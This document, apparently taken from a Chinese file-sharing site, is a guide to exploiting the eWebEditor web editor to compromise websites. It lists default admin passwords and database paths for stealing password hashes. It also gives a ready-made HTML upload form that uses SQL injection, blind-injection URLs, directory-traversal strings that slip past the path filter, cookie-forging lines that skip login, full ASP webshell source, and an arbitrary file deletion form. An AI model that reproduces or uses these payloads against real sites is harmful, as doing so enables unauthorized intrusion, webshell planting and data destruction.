ewebeditor漏洞利用总结

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

ewebeditor漏洞利用总结
ewebeditor漏洞利用总结先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下: 1、首先访问默认管理页看是否存在。

默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (各种语言的大家自己改后缀,本文就以asp 来进行说明,下面不再细说了!) 2、默认管理帐号密码!默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。

3、默认数据库地址。

如果密码不是默认的。

我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。

得到了加密密码。

可以去 cmd5 等网站进行查询!暴力这活好久不干了!也可以丢国外一些可以跑密码的网站去跑! 默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa
ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb
ewebeditor/db/!@#ewebeditor.asp
ewebeditor/db/ewebeditor1033.mdb 等很多管理员常改.asp后缀,一般访问.asp .asa 后缀的都是乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容! 4、说说漏洞基本利用步骤,还以asp为例!登陆后台以后。

选择样式管理,默认编辑器的默认样式都不可以修改的。

我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。

.asa .cer .cdx 等!.asp 过滤过了。

但是我们可以用.asaspp 后缀来添加,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。

总之是个很可笑的过滤!同样,如果遇到一个管理员有安全意识的,从代码里,
把.asp .asa .cer .cdx 都完全禁止了,我们也可以用.asasaa 后缀来突破。

添加完了后缀,可以在样式管理,点击预览,然后上传! 5、默认管理页不存在!在实际入侵过程中,有很多默认的管理页不存在的时候。

我们可以直接访问样式管理页面
ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。

如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。

然后构造上传!具体url如下:
eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改! 6、ewebeditor的几个版本存在注入! ewebeditor 以前版本都存在注入
ewebeditor/ewebeditor.asp?id=article_content&style=Full_v20 0 ! 添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!ewebeditor v2.1.6存在注入,可以用union select 添加上传后缀进行上传!先贴漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H3> <form action=" xxx
/ewebeditor/upload.asp?action=save&type=IMAGE&style=standar d'union select
S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo ,S_IsSys,S_FileExt,S_FlashExt,
[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_I mageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMod e,S_BaseUrl from ewebeditor_style where
s_name='standard'and'a'='a" method=post name=myform
enctype="multipart/form-data"> <input type=file
name=uploadfile size=100> <input type=submit value=Fuck>
</form>
-------------------------------------------------------------------------------------------------------------- 以上代
码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,
所以可以包含任意字符!用select在ewebeditor_style表中查找
s_name为sStyleName的记录,找不到就提示出错!在sStyleName
变量中用union来构造记录,我们可以在sAllowExt中加入"|cer"、"|asa"等!另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'an d%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from% 20ewebeditor_system%20)>98%20and%20'1'='1 注意修改红色部分
的字段名、位数、ascii码的值! 7、目录遍历漏洞!这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!漏洞利用方式如下:在上传文件管理页面随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../.. 类似如
下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../dat a/ 可以看到网站数据库的路径!另外一个遍历目录的漏洞文件是ewebeditor/asp/browse.asp 漏洞代码为: Function GetList() Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO =
Server.CreateObject("Scripting.FileSystemObject") Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) '
注意一下sCurrDir变量,这个值等下我们可以用到 If Err.Number>0 Then s_List = "" Exit Function End If
If sDir <> "" Then If InstrRev(sDir, "/") > 1 Then s_Url= Left(sDir, InstrRev(sDir, "/") - 1) Else s_Url = "" End If
s_List = s_List & "" & _ "" & _ ".." & _ " " & _ "" End If 'Response.Write sDir&"!"&s_List
Dim oSubFolder For Each oSubFolder In oUploadFolder.SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = Else s_Url = sDir & "/" & End If s_List = s_List & "" & _ "" & _ "" & & "" & _ " " & _ "" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles 'Response.Write sFileName = If CheckValidExt(sFileName) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录
名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If
s_List = s_List & "" & _ "" & FileName2Pic(sFileName) & "" & _ "" & sFileName & "" & _ "" & GetSizeUnit(oUploadFile.size) & "" & _ "" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server
Encode(s_List)&"!"&s_Url
If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If
s_List = s_List & "" s_List = HTML2JS(s_List) 'Response.Write Server Encode(s_List)&"!"&s_Url s_List =
"parent.setDirList(""" & s_List & """, """ & s_Url & """)" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt(s_FileName) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase(Mid(s_FileName,
InStrRev(s_FileName, ".") + 1)) CheckValidExt = False aExt =
Split(LCase(sAllowExt), "|") For i = 0 To UBound(aExt) If aExt(i) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam() sType =
UCase(Trim(Request.QueryString("type"))) sStyleName =
Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound(aStyle) aStyleConfig = Split(aStyle(i), "|||") If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then bValidStyle = True Exit For End If Next
If bValidStyle = False Then OutScript("alert('Invalid Style.')") End If
sBaseUrl = aStyleConfig(19) 'nAllowBrowse =
CLng(aStyleConfig(43)) nAllowBrowse = 1
If nAllowBrowse <> 1 Then OutScript("alert('Do not allow browse!')") End If
sUploadDir = aStyleConfig(3) If Left(sUploadDir, 1) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig(3) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig(3) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig(3) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig(3) & "Flash/" Case Else sContentPath = "../" & aStyleConfig(3) & "Image/" End Select Case "1" sContentPath =
RelativePath2RootPath(sUploadDir) Case "2" sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) End Select
Select Case sType Case "REMOTE" sAllowExt = aStyleConfig(10) Case "FILE" sAllowExt = aStyleConfig(6) Case "MEDIA" sAllowExt = aStyleConfig(9) Case "FLASH" sAllowExt = aStyleConfig(7) Case Else sAllowExt = aStyleConfig(8) End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址sDir = Trim(Request("dir")) '得到dir变量 sDir = Replace(sDir, "\", "/") '对dir变量进行过滤 sDir = Replace(sDir, "../", "") sDir = Replace(sDir, "./", "") If sDir <> "" Then If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir 的值了 '虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出 Else sDir = "" End If End If End Sub 利用方式如下:
site/ewebeditor/asp/browse.asp?style=standard650&dir=…././ /…././/admin 这样子就可以看到admin的内容了。

构造特殊的dir 绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了! 8、session欺骗漏洞!适用于一些设置不当的虚拟主机。

当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下:新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了! 9、后台跳过认证漏洞!访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入javascript:alert(document.cookie="adminuser="+escape("admin "));
javascript:alert(document.cookie="adminpass="+escape("admin "));
javascript:alert(document.cookie="admindj="+escape("1"));
然后再清空地址栏,在路径里输入后台登陆后的页面,比如:
admin_default.asp admin/default.asp 等。

直接进入后台,利用方式见上文! 10、利用远程上传功能!比如s_full样式就存在这个
功能,打开编辑页面,然后图片,选择输入url 比如: site
/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候
自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就
是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!利用代码如下: 首先建立1.gif.asp 代码如下 <% Set fs =
CreateObject("Scripting.FileSystemObject") Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"), 1,false,0) Thetext=MyTextStream.ReadAll response.write thetext %> 在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马: <%on error resume next%>
<%ofso="scripting.filesystemobject"%> <%set
fso=server.createobject(ofso)%> <%path=request("path")%>
<%if path<>"" then%> <%data=request("dama")%> <%set
dama=fso.createtextfile(path,true)%> <%dama.write data%>
<%if err=0 then%> <%="success"%> <%else%> <%="false"%> <%end if%> <%err.clear%> <%end if%> <%dama.close%> <%set
dama=nothing%> <%set fos=nothing%> <%="<form action='' method=post>"%> <%="<input type=text name=path>"%> <%=""%> <%=server.mappath(request.servervariables("script_name"))%> <%=""%> <%=""%> <%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%> <%=""%> <%="<input type=submit
value=save>"%> <%="</form>"%> 利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置! 11、任意文件删除漏洞!此漏洞存在于Example\NewsSystem目录下的
delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码 ' 把带"|"的字符串转为数组 Dim aSavePathFileName aSavePathFileName =
Split(sSavePathFileName, "|") ' 删除新闻相关的文件,从文件夹中 Dim i For i = 0 To UBound(aSavePathFileName) ' 按路径文件名删除文件 Call DoDelFile(aSavePathFileName(i)) Next 而aSavePathFileName是前面从数据库取出来的: sSavePathFileName = oRs("D_SavePathFileName") 看看D_SavePathFileName是怎么添
加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName =
GetSafeStr(Request.Form("d_savepathfilename")) ...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp 里: Function GetSafeStr(str) GetSafeStr =
Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "") End Function 既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。

试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(> 新闻列
表%20|%20增加新闻增加新闻
127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform"> <input type=hidden
name=d_originalfilename> <input type=hidden
name=d_savefilename> <table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td> <td><input
type="text" name="d_savepathfilename" value=""
size="90"></td> </tr> <tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td> </tr> <tr><td>标题图片:</td> <td><select name="d_picture" size=1><option value=''>无</option></select> 当编辑区有插入
图片时,将自动填充此下拉框</td> </tr> <tr><td>新闻内容(随便填):</td> <td><textarea name="d_content"></textarea></td>
</tr> </table> <input type=submit name=btnSubmit value=" 提
交 "> <input type=reset name=btnReset value=" 重填 "> </form> </BODY></HTML> 删除文件漏洞一般是配合其他漏洞使用的,比如目
录遍历 <a href='list.asp'>中的list.asp地址要修改 <a
href='add.asp'>中的add.asp地址要修改 <form action="
127.0.0.1/editor/Example/NewsSystem/addsave.asp"
( 127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改) 另外一个简单利用方式: <form action=" xxxbing
/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x"> <input type=hidden name=d_savefilename value="x"> 要删除的文件(相
对路径,多个文件用“|”隔开) <input type=text
name=d_savepathfilename> <input type=hidden name="d_title" value="x"> <input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea> <input type=submit name=btnSubmit value="submit"> </form>
然后得到返回的新闻ID再提交: XXXXX
/editor/example/newssystem/delete.asp?id=[id] 有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该
文件可以上传任意webshell! 12、其他! 其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php jsp版本的利用吧! ASPX版:受影响文件:eWebEditorNet/upload.aspx 利用方法:添好本地的cer的Shell文件。

在浏览器地址栏输入javascript:lbtnUpload.click();就能得
到shell。

嘿嘿....绕过了限制......成功的上传了ASPX文件....
文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功..... PHP版本:PhP版本和asp版本利用方式类似!不过php权限较高,不多废话了! jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的
没有上传按钮!直接选择文件,回车就可以提交了!优品课件,意犹未尽,知识共享,共创未来!!!。

相关文档
最新文档